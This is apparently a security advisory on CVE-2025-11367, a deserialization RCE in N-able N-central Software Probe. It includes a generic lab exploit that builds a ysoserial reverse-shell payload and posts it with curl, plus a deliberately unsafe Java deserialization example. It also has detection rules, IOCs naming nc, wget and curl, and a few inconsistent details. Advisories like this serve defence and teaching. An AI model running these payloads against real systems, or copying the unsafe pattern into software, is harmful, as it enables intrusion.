CVE-2025-11367

Executive Summary

CVE-2025-11367 is a critical Remote Code Execution (RCE) vulnerability in N-able N-central Software Probe versions prior to 2025.4. The flaw stems from insecure deserialization of untrusted data, allowing an unauthenticated attacker to execute arbitrary code on the probe server. This vulnerability poses a severe risk to managed service providers (MSPs) and their clients, as N-central is widely used for remote monitoring and management (RMM). Successful exploitation could lead to full compromise of the probe, lateral movement into managed networks, and data exfiltration. No public proof-of-concept (PoC) or exploit code is currently available, but the risk remains high due to the nature of the vulnerability.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description and typical deserialization RCE vulnerabilities, the likely score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the probe.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system control possible.
• Availability (A): High (H) – Can cause denial of service.

Threat Level: Critical. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability exists in the deserialization process of the N-central Software Probe. The probe likely uses Java serialization or a similar mechanism to process data from the N-central server or other components. When the probe deserializes untrusted data without proper validation, an attacker can craft a malicious serialized object that, upon deserialization, executes arbitrary code.

Attack Flow:

1. Reconnaissance: The attacker identifies an N-central Software Probe exposed to the network (e.g., via Shodan dorks like "N-entral").
2. Crafting Payload: The attacker creates a malicious serialized object (e.g., using ysoserial for Java) that executes a command (e.g., reverse shell, download of malware).
3. Delivery: The attacker sends the malicious serialized object to the probe's vulnerable endpoint (e.g., a specific port or API endpoint).
4. Deserialization: The probe deserializes the object, triggering the execution of the embedded command.
5. Compromise: The attacker gains remote code execution on the probe server.

Vulnerable vs. Patched Code

Since no specific code is provided, the following is a generic example of insecure vs. secure deserialization.

Vulnerable Code (Java Example):

import java.io.*;
import java.net.Socket;

public class VulnerableProbe {
    public void processData(Socket clientSocket) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(clientSocket.getInputStream());
        Object obj = ois.readObject(); // Insecure: no validation
        // Process obj...
    }
}

Patched Code (Java Example):

import java.io.*;
import java.net.Socket;
import java.util.List;

public class PatchedProbe {
    // Whitelist of allowed classes
    private static final List<String> ALLOWED_CLASSES = List.of("com.nable.ProbeData", "com.nable.Heartbeat");

    public void processData(Socket clientSocket) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(clientSocket.getInputStream()) {
            @Override
            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                String className = desc.getName();
                if (!ALLOWED_CLASSES.contains(className)) {
                    throw new InvalidClassException(className, "Unauthorized deserialization attempt");
                }
                return super.resolveClass(desc);
            }
        };
        Object obj = ois.readObject();
        // Process obj...
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Environment: Deploy a vulnerable N-central Software Probe (version < 2025.4) in an isolated lab network.
2. Tools: Use ysoserial (for Java deserialization) and a netcat listener.
3. Payload Generation:

   java -jar ysoserial.jar CommonsCollections1 'cmd /c powershell -e <base64_encoded_reverse_shell>' > payload.bin
   

4. Delivery: Send the payload to the probe's vulnerable endpoint (e.g., using curl or a custom Python script).

   curl -X POST --data-binary @payload.bin http://<probe_ip>:<port>/vulnerable_endpoint
   

5. Trigger: The probe deserializes the payload, executing the reverse shell.

Note: No public exploit code is available. The above is a generic example.

Blue Team (Defense)

Detection:

1. Network Monitoring: Monitor for unusual serialized data streams (e.g., Java serialization magic bytes 0xAC ED 00 05).
2. Endpoint Detection: Use EDR to detect suspicious child processes spawned by the probe (e.g., cmd.exe, powershell.exe).
3. Log Analysis: Check probe logs for deserialization errors or unexpected class loading.

Mitigation:

1. Immediate Patching: Upgrade to N-central Software Probe 2025.4 or later.
2. Network Segmentation: Isolate probe servers from the internet and limit inbound traffic.
3. Web Application Firewall (WAF): Deploy WAF rules to block serialized objects (e.g., block requests containing 0xAC ED 00 05).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the probe to unknown IPs (e.g., attacker C2).
  • Unusual serialized data in network traffic (magic bytes 0xAC ED 00 05 for Java).
• File IOCs:
  • Unexpected files in the probe's installation directory (e.g., ysoserial payloads).
  • Modified configuration files.
• Process IOCs:
  • Spawning of cmd.exe, powershell.exe, or other shells from the probe process.
  • Unusual child processes (e.g., wget, curl, nc).
• Registry IOCs (Windows):
  • New or modified registry keys under HKLM\SOFTWARE\N-able\N-central\Probe.

Detection Engineering

YARA Rule

rule CVE_2025_11367_Deserialization {
    meta:
        description = "Detects Java serialization payloads targeting N-central Probe"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11367"
    strings:
        $java_serial = { AC ED 00 05 }
        $ysoserial_cc1 = "CommonsCollections1"
        $ysoserial_cc2 = "CommonsCollections2"
        $nable_class = "com.nable"
    condition:
        $java_serial at 0 and (any of ($ysoserial_*) or $nable_class)
}

Sigma Rule

title: CVE-2025-11367 - N-central Probe Deserialization RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-11367 via network traffic
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        - payload: "|ac ed 00 05|"
        - payload: "|rO0ABX|"  # Base64 encoded Java serialization
    condition: selection
falsepositives:
    - Legitimate Java serialization in other applications
level: critical

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-11367 - N-central Probe Deserialization Attempt"; flow:to_server,established; content:"|ac ed 00 05|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade all N-central Software Probes to version 2025.4 or later. This is the only definitive fix.
2. Workaround: If immediate patching is not possible, restrict network access to the probe to only trusted N-central servers. Use a firewall to block inbound connections from untrusted sources.
3. Monitoring: Implement the detection rules above to identify potential exploitation attempts.
4. Incident Response: If compromise is suspected, isolate the probe, conduct forensic analysis, and rotate all credentials stored on the probe.

Valters IT